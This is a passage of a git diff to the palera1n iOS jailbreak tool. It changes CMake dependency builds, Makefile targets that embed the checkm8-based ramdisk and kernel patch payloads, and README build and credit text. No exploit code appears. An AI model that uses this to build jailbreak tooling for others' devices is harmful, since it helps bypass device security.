--prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} --disable-stripping --enable-overwrite --enable-widec + sh /configure + --prefix=${DEPS_PREFIX} + ${IMD_AUTOTOOLS_ARGS} + --disable-stripping + --enable-overwrite + --enable-widec + --with-default-terminfo-dir=${DEPS_PREFIX}/share/terminfo + --with-terminfo-dirs=${DEPS_PREFIX}/share/terminfo BUILD_COMMAND make -j BUILD_IN_SOURCE 1 INSTALL_COMMAND - make install && - ln -sf ${DEPS_PREFIX}/lib/libncursesw.a ${DEPS_PREFIX}/lib/libncurses.a && - ln -sf ${DEPS_PREFIX}/lib/libtinfow.a ${DEPS_PREFIX}/lib/libtinfo.a + ${CMAKE_COMMAND} -E env ${PKG_ENV} + sh -c + "make install TERMINFO=${DEPS_PREFIX}/share/terminfo && \ + ln -sf ${DEPS_PREFIX}/lib/libncursesw.a ${DEPS_PREFIX}/lib/libncurses.a && \ + ln -sf ${DEPS_PREFIX}/lib/libtinfow.a ${DEPS_PREFIX}/lib/libtinfo.a" ) - endif() - if(LINUX) - ExternalProject_Add(readline_ep - URL https://ftp.gnu.org/gnu/readline/readline-8.2.tar.gz - CONFIGURE_COMMAND - ${PKG_ENV} - sh -l /configure --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - DEPENDS ncurses_ep - ) - endif() - - ExternalProject_Add(libplist_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libplist.git - GIT_TAG 2117b8fdb6b4096455bd2041a63e59a028120136 - UPDATE_COMMAND "" - CONFIGURE_COMMAND - ${PKG_ENV} - sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - ) - - ExternalProject_Add(limd_glue_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice-glue.git - GIT_TAG 362f7848ac89b74d9dd113b38b51ecb601f76094 - UPDATE_COMMAND "" - CONFIGURE_COMMAND - ${PKG_ENV} - sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - DEPENDS libplist_ep - ) - - ExternalProject_Add(libusbmuxd_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libusbmuxd.git - GIT_TAG a7f0543fb1ecb20ac7121c0fd77297200e0e43fc - UPDATE_COMMAND "" - CONFIGURE_COMMAND - ${PKG_ENV} - sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} --without-systemd - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - DEPENDS libplist_ep limd_glue_ep - ) - - set(LIBIMOBILEDEVICE_DEPS libplist_ep libusbmuxd_ep limd_glue_ep) - if(NOT MINGW) - list(APPEND LIBIMOBILEDEVICE_DEPS mbedtls_ep) - endif() - if(LINUX OR MINGW) - list(APPEND LIBIMOBILEDEVICE_DEPS libusb_ep) - endif() - if(LINUX) - list(APPEND LIBIMOBILEDEVICE_DEPS readline_ep) - endif() - - ExternalProject_Add(libimobiledevice_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libimobiledevice.git - GIT_TAG ed0d66d0341562731bb19928dfe48155509fa7a7 - UPDATE_COMMAND "" - PATCH_COMMAND patch -p1 < "${CMAKE_SOURCE_DIR}/patches/libimobiledevice/0001-include-windows-header.patch" - CONFIGURE_COMMAND - ${PKG_ENV} - sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${MBEDUTILS_ARGS} ${IMD_AUTOTOOLS_ARGS} --disable-wireless-pairing - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - DEPENDS ${LIBIMOBILEDEVICE_DEPS} - ) - - # to compile libimobiledevice appropriately we patch out the automake generated makefile - # so tools just dont build at all... theres some issue there thats not worth fixing here - file(WRITE "${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake" - "file(WRITE \"${CMAKE_BINARY_DIR}/libimobiledevice_ep-prefix/src/libimobiledevice_ep/tools/Makefile\" \"all:\\ninstall:\\n\")\n" - ) - - ExternalProject_Add_Step(libimobiledevice_ep fix_tools_makefile - COMMAND ${CMAKE_COMMAND} -P "${CMAKE_BINARY_DIR}/fix_tools_makefile.cmake" - DEPENDEES configure - DEPENDERS build - ) - - if(LINUX) - set(LIBIRECOVERY_LIBS LIBS=-lncurses) - endif() - - ExternalProject_Add(libirecovery_ep - GIT_REPOSITORY https://github.com/libimobiledevice/libirecovery.git - GIT_TAG 7ce02c347b7c26e59498e6af31c9da51018d0fa1 - UPDATE_COMMAND "" - CONFIGURE_COMMAND - ${PKG_ENV} - sh -l ./autogen.sh --prefix=${DEPS_PREFIX} ${IMD_AUTOTOOLS_ARGS} ${LIBIRECOVERY_LIBS} - BUILD_COMMAND make -j - INSTALL_COMMAND make install - BUILD_IN_SOURCE 1 - DEPENDS ${LIBIMOBILEDEVICE_DEPS} - ) - - add_dependencies(palera1n - libplist_ep - limd_glue_ep - libusbmuxd_ep - libimobiledevice_ep - libirecovery_ep - ) - - if(NOT MINGW) - add_dependencies(palera1n mbedtls_ep) - else() - add_dependencies(palera1n libwdi_ep) - endif() - - if(LINUX) - add_dependencies(palera1n readline_ep) + add_dependencies(palera1n ncurses_ep) endif() if(MINGW) - target_link_libraries(palera1n PRIVATE - imobiledevice-1.0 - irecovery-1.0 - usbmuxd-2.0 - plist-2.0 - imobiledevice-glue-1.0 - usb-1.0 - libwdi - ) + if(NOT WITH_CIDERRAIN) + target_link_libraries(palera1n PRIVATE + usb-1.0 + ) + endif() set(DLLS - libcrypto-3-x64.dll - libssl-3-x64.dll libstdc++-6.dll libgcc_s_seh-1.dll libwinpthread-1.dll - libimobiledevice-1.0.dll - libimobiledevice-glue-1.0.dll - libirecovery-1.0.dll - libplist-2.0.dll - libusbmuxd-2.0.dll - libusb-1.0.dll - libwdi.dll ) + if(NOT WITH_CIDERRAIN) + list(APPEND DLLS + libusb-1.0.dll + ) + endif() + execute_process( COMMAND cygpath -w "$ENV{MSYSTEM_PREFIX}/bin" OUTPUT_VARIABLE MSYSTEM_PREFIX_WIN @@ -472,26 +551,18 @@ if(WITH_STATIC) ) endforeach() else() - target_link_libraries(palera1n PRIVATE - "${DEPS_PREFIX}/lib/libimobiledevice-1.0.a" - "${DEPS_PREFIX}/lib/libirecovery-1.0.a" - "${DEPS_PREFIX}/lib/libusbmuxd-2.0.a" - "${DEPS_PREFIX}/lib/libplist-2.0.a" - "${DEPS_PREFIX}/lib/libimobiledevice-glue-1.0.a" - "${DEPS_PREFIX}/lib/libmbedtls.a" - "${DEPS_PREFIX}/lib/libmbedx509.a" - "${DEPS_PREFIX}/lib/libmbedcrypto.a" - ) - if(LINUX) target_compile_options(palera1n PRIVATE "-static") target_link_options(palera1n PRIVATE "-static") target_link_libraries(palera1n PRIVATE - "${DEPS_PREFIX}/lib/libusb-1.0.a" - "${DEPS_PREFIX}/lib/libreadline.a" "${DEPS_PREFIX}/lib/libncurses.a" ) + if(NOT WITH_CIDERRAIN) + target_link_libraries(palera1n PRIVATE + "${DEPS_PREFIX}/lib/libusb-1.0.a" + ) + endif() elseif(APPLE) if(WITH_TUI) find_package(Curses REQUIRED) @@ -501,39 +572,13 @@ if(WITH_STATIC) endif() endif() else() - find_package(PkgConfig REQUIRED) + if(WITH_TUI) + find_package(Curses REQUIRED) + target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS}) + target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES}) + endif() - pkg_check_modules(IMD REQUIRED libimobiledevice-1.0) - pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0) - pkg_check_modules(PLIST REQUIRED libplist-2.0) - pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0) - - target_include_directories(palera1n PRIVATE - ${IMD_INCLUDE_DIRS} - ${IRECOVERY_INCLUDE_DIRS} - ${PLIST_INCLUDE_DIRS} - ${USBMUXD_INCLUDE_DIRS} - ) - - target_link_libraries(palera1n PRIVATE - ${IMD_LIBRARIES} - ${IRECOVERY_LIBRARIES} - ${PLIST_LIBRARIES} - ${USBMUXD_LIBRARIES} - ) - - target_compile_options(palera1n PRIVATE - ${IMD_CFLAGS_OTHER} - ${IRECOVERY_CFLAGS_OTHER} - ${PLIST_CFLAGS_OTHER} - ${USBMUXD_CFLAGS_OTHER} - ) - - find_package(Curses REQUIRED) - target_include_directories(palera1n PRIVATE ${CURSES_INCLUDE_DIRS}) - target_link_libraries(palera1n PRIVATE ${CURSES_LIBRARIES}) - - if(NOT APPLE) + if(NOT APPLE AND NOT CIDERRAIN) pkg_check_modules(LIBUSB REQUIRED libusb-1.0) target_include_directories(palera1n PRIVATE ${LIBUSB_INCLUDE_DIRS}) target_link_libraries(palera1n PRIVATE ${LIBUSB_LIBRARIES}) diff --git a/Makefile b/Makefile index 5f03aab..615232a 100644 --- a/Makefile +++ b/Makefile @@ -1,84 +1,149 @@ -.PHONY: payloads palera1n palera1n_xcode palera1n_mingw clean +.PHONY: apple-include payloads palera1n palera1n_xcode palera1n_mingw clean WITH_GUI ?= 0 WITH_TUI ?= 0 WITH_RAMDISK ?= 1 WITH_BINPACK ?= 1 WITH_STATIC ?= 0 +WITH_CIDERRAIN ?= 0 BUILD_TYPE ?= Debug + CMAKE_SYSROOT ?= CROSS_HOST_TRIPLE ?= JOBS ?= +PLATFORM ?= host + +UNAME_S := $(shell uname -s) + BUILD_ARGS := ifneq ($(strip $(JOBS)),) BUILD_ARGS += --parallel $(JOBS) endif +ifeq ($(PLATFORM),ios) + PLATFORM := iphoneos +endif +TARGET_SYSROOT := +MACOSX_SYSROOT := $(shell xcrun --sdk macosx --show-sdk-path) +CUSTOM_INCLUDE_PATH := apple-include-$(PLATFORM) + +ifeq ($(PLATFORM),iphoneos) +ifneq ($(UNAME_S),Darwin) +$(error iOS builds require macOS/Xcode) +endif +TARGET_SYSROOT := $(shell xcrun --sdk iphoneos --show-sdk-path) +else ifeq ($(PLATFORM),macos) +ifneq ($(UNAME_S),Darwin) +$(error macOS SDK builds require macOS/Xcode) +endif +TARGET_SYSROOT := $(shell xcrun --sdk macosx --show-sdk-path) +endif + +CMAKE_COMMON_ARGS := \ + -DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \ + -DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \ + -DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \ + -DWITH_GUI=$(WITH_GUI) \ + -DWITH_TUI=$(WITH_TUI) \ + -DWITH_RAMDISK=$(WITH_RAMDISK) \ + -DWITH_BINPACK=$(WITH_BINPACK) \ + -DWITH_CIDERRAIN=$(WITH_CIDERRAIN) \ + -DWITH_STATIC=$(WITH_STATIC) + +CMAKE_APPLE_ARGS := + +ifeq ($(PLATFORM),iphoneos) + +CMAKE_APPLE_ARGS := \ + -DCMAKE_SYSTEM_NAME=iOS \ + -DCMAKE_OSX_SYSROOT="$(TARGET_SYSROOT)" \ + -DCMAKE_OSX_ARCHITECTURES=arm64 \ + -DCMAKE_OSX_DEPLOYMENT_TARGET=15.0 + +endif + +ifeq ($(PLATFORM),macos) + +CMAKE_APPLE_ARGS := \ + -DCMAKE_SYSTEM_NAME=Darwin \ + -DCMAKE_OSX_SYSROOT="$(TARGET_SYSROOT)" + +endif + +ifeq ($(PLATFORM),iphoneos) +APPLE_INCLUDE_DEP := apple-include +else +APPLE_INCLUDE_DEP := +endif + +apple-include: + mkdir -p $(CUSTOM_INCLUDE_PATH)/{bsm,objc,os/internal,sys,firehose,CoreFoundation,FSEvents,IOSurface,IOKit/kext,libkern,kern,arm,{mach/,}machine,CommonCrypto,Security,CoreSymbolication,Kernel/{kern,IOKit,libkern},rpc,rpcsvc,xpc/private,ktrace,mach-o,dispatch} + cp -af $(MACOSX_SYSROOT)/usr/include/{arpa,bsm,hfs,net,xpc,netinet,servers,timeconv.h,launch.h} $(CUSTOM_INCLUDE_PATH) + cp -af $(MACOSX_SYSROOT)/usr/include/objc/objc-runtime.h $(CUSTOM_INCLUDE_PATH)/objc + cp -af $(MACOSX_SYSROOT)/usr/include/libkern/{OSDebug.h,OSKextLib.h,OSReturn.h,OSThermalNotification.h,OSTypes.h,machine} $(CUSTOM_INCLUDE_PATH)/libkern + cp -af $(MACOSX_SYSROOT)/usr/include/kern $(CUSTOM_INCLUDE_PATH) + cp -af $(MACOSX_SYSROOT)/usr/include/sys/{tty*,ptrace,kern*,random,reboot,user,vnode,disk,vmmeter,conf}.h $(CUSTOM_INCLUDE_PATH)/sys + cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Kernel.framework/Versions/Current/Headers/sys/disklabel.h $(CUSTOM_INCLUDE_PATH)/sys + cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/{AppleConvergedIPCKeys.h,IOBSD.h,IOCFBundle.h,IOCFPlugIn.h,IOCFURLAccess.h,IOKitServer.h,IORPC.h,IOSharedLock.h,IOUserServer.h,audio,avc,firewire,graphics,hid,hidsystem,i2c,iokitmig.h,kext,ndrvsupport,network,ps,pwr_mgt,sbp2,scsi,serial,storage,stream,usb,video} $(CUSTOM_INCLUDE_PATH)/IOKit + cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Security.framework/Headers/{mds_schema,oidsalg,SecKeychainSearch,certextensions,Authorization,eisl,SecDigestTransform,SecKeychainItem,oidscrl,cssmcspi,CSCommon,cssmaci,SecCode,CMSDecoder,oidscert,SecRequirement,AuthSession,SecReadTransform,oids,cssmconfig,cssmkrapi,SecPolicySearch,SecAccess,cssmtpi,SecACL,SecEncryptTransform,cssmapi,cssmcli,mds,x509defs,oidsbase,SecSignVerifyTransform,cssmspi,cssmkrspi,SecTask,cssmdli,SecAsn1Coder,cssm,SecTrustedApplication,SecCodeHost,SecCustomTransform,oidsattr,SecIdentitySearch,cssmtype,SecAsn1Types,emmtype,SecTransform,SecTrustSettings,SecStaticCode,emmspi,SecTransformReadTransform,SecKeychain,SecDecodeTransform,CodeSigning,AuthorizationPlugin,cssmerr,AuthorizationTags,CMSEncoder,SecEncodeTransform,SecureDownload,SecAsn1Templates,AuthorizationDB,SecCertificateOIDs,cssmapple}.h $(CUSTOM_INCLUDE_PATH)/Security +# cp -af $(MACOSX_SYSROOT)/usr/include/{ar,bootstrap,launch,libc,libcharset,localcharset,nlist,NSSystemDirectories,tzfile,vproc}.h $(CUSTOM_INCLUDE_PATH) + cp -af $(MACOSX_SYSROOT)/usr/include/mach/{*.defs,{mach_vm,shared_region}.h} $(CUSTOM_INCLUDE_PATH)/mach + cp -af $(MACOSX_SYSROOT)/usr/include/mach/machine/*.defs $(CUSTOM_INCLUDE_PATH)/mach/machine + cp -af $(MACOSX_SYSROOT)/usr/include/rpc/pmap_clnt.h $(CUSTOM_INCLUDE_PATH)/rpc + cp -af $(MACOSX_SYSROOT)/usr/include/rpcsvc/yp{_prot,clnt}.h $(CUSTOM_INCLUDE_PATH)/rpcsvc + cp -af $(TARGET_SYSROOT)/usr/include/mach/machine/thread_state.h $(CUSTOM_INCLUDE_PATH)/mach/machine + cp -af $(TARGET_SYSROOT)/usr/include/mach/arm $(CUSTOM_INCLUDE_PATH)/mach + cp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/* $(CUSTOM_INCLUDE_PATH)/IOKit +# gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/stdlib.h > $(CUSTOM_INCLUDE_PATH)/stdlib.h + gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/time.h > $(CUSTOM_INCLUDE_PATH)/time.h + gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/unistd.h > $(CUSTOM_INCLUDE_PATH)/unistd.h + gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/task.h > $(CUSTOM_INCLUDE_PATH)/mach/task.h + gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/mach_host.h > $(CUSTOM_INCLUDE_PATH)/mach/mach_host.h + gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/ucontext.h > $(CUSTOM_INCLUDE_PATH)/ucontext.h +# gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/signal.h > $(CUSTOM_INCLUDE_PATH)/signal.h + gsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/spawn.h > $(CUSTOM_INCLUDE_PATH)/spawn.h + gsed -E /'__API_UNAVAILABLE'/d < $(TARGET_SYSROOT)/usr/include/pthread.h > $(CUSTOM_INCLUDE_PATH)/pthread.h + gsed -i -E s/'__API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/IOKit/IOKitLib.h + gsed -i -E s/'__API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/spawn.h + gsed -i -E s/'API_UNAVAILABLE\(.*\)'// $(CUSTOM_INCLUDE_PATH)/xpc/*.h + gsed -i 's|// __XPC_INDIRECT__|\n#include "$(TARGET_SYSROOT)/usr/include/bsm/audit.h"\n|' $(CUSTOM_INCLUDE_PATH)/xpc/connection.h + payloads: - mkdir -p src/gen/images - mkdir -p src/gen/payloads + mkdir -p src/gen/embedded - @for file in payloads/*; do \ + xz --format=lzma -vfc6ekT 0 embedded/ramdisk.dmg > embedded/ramdisk-compressed.dmg.lzma + xz --format=lzma -vfc6ekT 0 embedded/checkra1n-kpf-pongo > embedded/checkra1n-kpf-pongo-compressed.lzma + + @for file in embedded/*; do \ name=$$(basename "$$file"); \ name=$${name%.*}; \ echo " XXD $$file"; \ - echo "#pragma once" > "src/gen/payloads/$$name.h"; \ + echo "#pragma once" > "src/gen/embedded/$$name.h"; \ xxd -i "$$file" \ | sed 's/unsigned char/static const unsigned char/g' \ | sed 's/unsigned int/static const size_t/g' \ - >> "src/gen/payloads/$$name.h"; \ + >> "src/gen/embedded/$$name.h"; \ done - @for file in images/*; do \ - name=$$(basename "$$file"); \ - name=$${name%.*}; \ - echo " XXD $$file"; \ - echo "#pragma once" > "src/gen/images/$$name.h"; \ - xxd -i "$$file" \ - | sed 's/unsigned char/static const unsigned char/g' \ - | sed 's/unsigned int/static const size_t/g' \ - >> "src/gen/images/$$name.h"; \ - done - - xxd -i -n "DFUHelperDeviceInfo" resources/DFUHelperDeviceInfo.json > src/gen/DFUHelperDeviceInfo.h - palera1n: payloads @cmake -S . -B build \ - -DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \ - -DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \ - -DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \ - -DWITH_GUI=$(WITH_GUI) \ - -DWITH_TUI=$(WITH_TUI) \ - -DWITH_RAMDISK=$(WITH_RAMDISK) \ - -DWITH_BINPACK=$(WITH_BINPACK) \ - -DWITH_STATIC=$(WITH_STATIC) && \ + $(CMAKE_COMMON_ARGS) \ + $(CMAKE_APPLE_ARGS) && \ cmake --build build $(BUILD_ARGS) -palera1n_xcode: payloads +palera1n_xcode: $(APPLE_INCLUDE_DEP) payloads @cmake -S . -B build \ -G Xcode \ - -DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \ - -DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \ - -DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \ - -DWITH_GUI=$(WITH_GUI) \ - -DWITH_TUI=$(WITH_TUI) \ - -DWITH_RAMDISK=$(WITH_RAMDISK) \ - -DWITH_BINPACK=$(WITH_BINPACK) \ - -DWITH_STATIC=$(WITH_STATIC) + $(CMAKE_COMMON_ARGS) \ + $(CMAKE_APPLE_ARGS) palera1n_mingw: payloads @cmake -S . -B build \ -G "MinGW Makefiles" \ - -DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \ - -DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \ - -DCMAKE_BUILD_TYPE=$(BUILD_TYPE) \ - -DWITH_GUI=$(WITH_GUI) \ - -DWITH_TUI=$(WITH_TUI) \ - -DWITH_RAMDISK=$(WITH_RAMDISK) \ - -DWITH_BINPACK=$(WITH_BINPACK) \ - -DWITH_STATIC=$(WITH_STATIC) && \ + $(CMAKE_COMMON_ARGS) && \ cmake --build build $(BUILD_ARGS) clean: @rm -rf build src/gen + @rm -rf apple-include-* diff --git a/README.md b/README.md index be881d9..6bd8843 100644 --- a/README.md +++ b/README.md @@ -16,8 +16,7 @@ Jailbreak for A8 through A11, T2 devices, on iOS/iPadOS/tvOS 15.0, bridgeOS 5.0 | iPhone 8 | iPad Pro (12.9") (1st generation) | | | | iPhone 8 Plus | iPad Pro (10.5") | | | | iPhone X | iPad Pro (12.9") (2nd generation) | | | -| | iPad Air 2 | | | - +| | iPad Air 2 | | | > Note that on `A11` (iPhone X, 8, 8 Plus), **you must disable your passcode while in the jailbroken state** (on iOS 16, you need to **reset your device** before proceeding with palera1n). @@ -54,28 +53,47 @@ Jailbreak for A8 through A11, T2 devices, on iOS/iPadOS/tvOS 15.0, bridgeOS 5.0 - ## Computer Requirements + 1. **USB-A** cables are recommended to use, USB-C to may have issues with palera1n and getting into DFU mode. > Due to USB-C cables having different accessory IDs, your device may not be able to be recognized when using USB-C due to not being able to assert to its USB voltage pin. 2. **Linux or macOS computer** -> AMD CPUs (not AMD Mobile) have an issue where it causes them to have a very low success rate with checkm8 exploit. It is not recommended that you use them with palera1n. > USB-C port on Apple Silicon Macs *may* require manual unplugging and replugging of the lightning cable after checkm8 exploit. This problem may be solved by connecting via USB hub, though extensions can vary. ## Installing + Visit https://palera.in ## Building Building is going to be a bit convoluted for each platform, each having their own unique specifications, but the best reference for building should be looking at how [GitHub actions](./.github/workflows/build.yml) does it. +```sh +# Supported params: +# GUI support (0 default): +# WITH_GUI=1 +# TUI support (0 default): +# WITH_TUI=1 +# Default ramdisk (1 default): +# WITH_RAMDISK=1 +# Default overlay (1 default): +# WITH_BINPACK=1 +# Compile statically (0 default): +# WITH_STATIC=0 +# Compile using libciderra1n as backend (0 default): +# WITH_CIDERRAIN=0 +# Debug or release build ("Debug" default): +# BUILD_TYPE="Release" +``` + ### macOS Install necessary tooling: -- [Xcode](https://developer.apple.com/xcode/) and [Command Line Tools](https://developer.apple.com/download/all/). +- [Xcode](https://developer.apple.com/xcode/) and [Command Line Tools](https://developer.apple.com/download/all/) +- [Rust](https://rustup.rs/) ```sh brew install cmake \ autoconf \ @@ -87,15 +105,18 @@ brew install cmake \ Then compile: ```sh -make palera1n WITH_STATIC=1 WITH_GUI=1 +make palera1n" ``` ### Debian / Ubuntu Linux Install necessary tooling: +- [Rust](https://rustup.rs/) + ```sh -sudo apt install -y build-essential \ +sudo apt install -y \ + build-essential \ cmake \ autoconf \ automake \ @@ -106,7 +127,7 @@ sudo apt install -y build-essential \ Then compile: ```sh -make palera1n WITH_STATIC=1 WITH_GUI=1 +make palera1n ``` ### Windows @@ -116,9 +137,12 @@ make palera1n WITH_STATIC=1 WITH_GUI=1 Open mingw64 terminal and install necessary tooling: ```sh -pacman -S git \ +pacman -S \ + git \ mingw-w64-x86_64-toolchain \ mingw-w64-x86_64-cmake \ + mingw-w64-x86_64-libusb \ + mingw-w64-x86_64-rust \ libtool \ openssl \ openssl-devel \ @@ -134,29 +158,32 @@ pacman -S git \ Then compile: ```sh -make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 +make palera1n_mingw ``` ## Acknowledgements -- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (openra1n) using [gaster](https://github.com/0x7ff/gaster). -- [alfiecg24](https://github.com/mineek) - Achilles, based on openra1n. -- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches, ROP chain generator. -- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1. -- [staturnz](https://github.com/staturnz) - Contributions, Loader. -- [plooshi](https://github.com/plooshi) - Plooshfinder, various legacy patches. -- [nekohaxx](https://github.com/nekohaxx) - TUI. -- [checkra1n](https://checkra.in) - Checkra1n (1337), PongoOS, payloads, DFU helper & device assets. -- [libimobiledevice](https://github.com/libimobiledevice/libimobiledevice) - Libimobiledevice, libirecovery, libplist & usbmuxd. -- [libusb](https://github.com/libimobiledevice/libimobiledevice) - Library for access to usb-devices, used by libimobiledevice & openra1n. -- [Procursus](https://github.com/ProcursusTeam/Procursus) - Bootstrap & binpack. -- [tealbathingsuit](https://github.com/tealbathingsuit) - ElleKit. -- [sbingner](https://github.com/sbingner) - Substitute. -- [elihwyma](https://github.com/elihwyma) - Sileo & Pogo. -- [lrdsnow](https://github.com/lrdsnow) - tvOS package manager (PurePKG). -- [tihmstar](https://github.com/tihmstar) - jbinit v1 -- [opa334](https://github.com/opa334) - cfprefs hook +- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (libopenra1n), based off [gaster](https://github.com/0x7ff/gaster) +- [kok3shidoll](https://github.com/kok3shidoll) - Checkm8 (1337) exploit re-implementation (libciderra1n), PongoOS patches, ROP chain generator +- [checkra1n](https://checkra.in) - Checkra1n, PongoOS, payloads, DFU helper & device assets +- [staturnz](https://github.com/staturnz) - Liteusb, Loader contributions +- [libusb](https://github.com/libimobiledevice/libimobiledevice) - Library for access to usb-devices, used by libopenra1n +- [idevice](https://github.com/jkcoxson/idevice) - Library for access to usbmuxd devices +- [plooshi](https://github.com/plooshi) - Plooshfinder, plooshinit, various legacy patches +- [Procursus](https://github.com/ProcursusTeam/Procursus) - Bootstrap & binpack +- [tealbathingsuit](https://github.com/tealbathingsuit) - Tweak injection ([ElleKit](https://github.com/tealbathingsuit/ellekit)) +- [sbingner](https://github.com/sbingner) - Substitute +- [elihwyma](https://github.com/elihwyma) - Package manager ([Sileo](https://github.com/Sileo/Sileo)) & [Pogo](https://github.com/elihwyma/Pogo) +- [kirb](https://github.com/kirb) - Package manager ([Zebra](https://github.com/zbrateam/Zebra)) +- [lrdsnow](https://github.com/lrdsnow) - TvOS package manager ([PurePKG](https://github.com/Lrdsnow/purepkg)). +- [opa334](https://github.com/opa334) - Cfprefs hook +- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1 +- [llsc12](https://github.com/llsc12) - Palera1n loader v1 +- [tihmstar](https://github.com/tihmstar) - Jbinit v1 +- [nekohaxx](https://github.com/nekohaxx) - Contributions ## License -Project is licensed under the MIT license. You can see the full details of the license [here](https://github.com/khcrysalis/PlumeImpactor/blob/main/LICENSE). +Project is licensed under the MIT license. You can see the full details of the license [here](https://github.com/khcrysalis/PlumeImpactor/blob/main/LICENSE). Some components may be licensed under different licenses, see their respective directories for details. + +Many things included in this program are made and developed by the Checkra1n team. Please do NOT contact the Checkra1n team for Palera1n, they are not responsible for this program. The original Checkra1n payloads are from [here](https://checkra.in/1337). diff --git a/resources/DFUHelperDeviceInfo.json b/embedded/DFUHelperDeviceInfo.json similarity index 98% rename from resources/DFUHelperDeviceInfo.json rename to embedded/DFUHelperDeviceInfo.json index 0e9c334..fff8bba 100644 --- a/resources/DFUHelperDeviceInfo.json +++ b/embedded/DFUHelperDeviceInfo.json @@ -279,7 +279,7 @@ ], "description":"Click Start", - "duration":0 + "duration":1 }, { "buttons":[ @@ -304,7 +304,7 @@ ], "description":"Click Start", - "duration":0 + "duration":1 }, { "buttons":[ @@ -329,7 +329,7 @@ ], "description":"Click Start", - "duration":0 + "duration":1 }, { "buttons":[ @@ -354,7 +354,7 @@ ], "description":"Click Start", - "duration":0 + "duration":1 }, { "buttons":[ @@ -379,7 +379,7 @@ ], "description":"Click Start", - "duration":0 + "duration":1 }, { "buttons":[ diff --git a/images/atv_std_brd.png b/embedded/atv_std_brd.png similarity index 100% rename from images/atv_std_brd.png rename to embedded/atv_std_brd.png diff --git a/images/ipad.png b/embedded/ipad.png similarity index 100% rename from images/ipad.png rename to embedded/ipad.png diff --git a/images/ipadmini.png b/embedded/ipadmini.png similarity index 100% rename from images/ipadmini.png rename to embedded/ipadmini.png diff --git a/images/iphone6s.png b/embedded/iphone6s.png similarity index 100% rename from images/iphone6s.png rename to embedded/iphone6s.png diff --git a/images/iphone7.png b/embedded/iphone7.png similarity index 100% rename from images/iphone7.png rename to embedded/iphone7.png diff --git a/images/iphone8.png b/embedded/iphone8.png similarity index 100% rename from images/iphone8.png rename to embedded/iphone8.png diff --git a/images/iphonese.png b/embedded/iphonese.png similarity index 100% rename from images/iphonese.png rename to embedded/iphonese.png diff --git a/images/iphonex.png b/embedded/iphonex.png similarity index 100% rename from images/iphonex.png rename to embedded/iphonex.png diff --git a/images/ipodtouch.png b/embedded/ipodtouch.png similarity index 100% rename from images/ipodtouch.png rename to embedded/ipodtouch.png diff --git a/images/logo.png b/embedded/logo.png similarity index 100% rename from images/logo.png rename to embedded/logo.png diff --git a/images/siriremote.png b/embedded/siriremote.png similarity index 100% rename from images/siriremote.png rename to embedded/siriremote.png diff --git 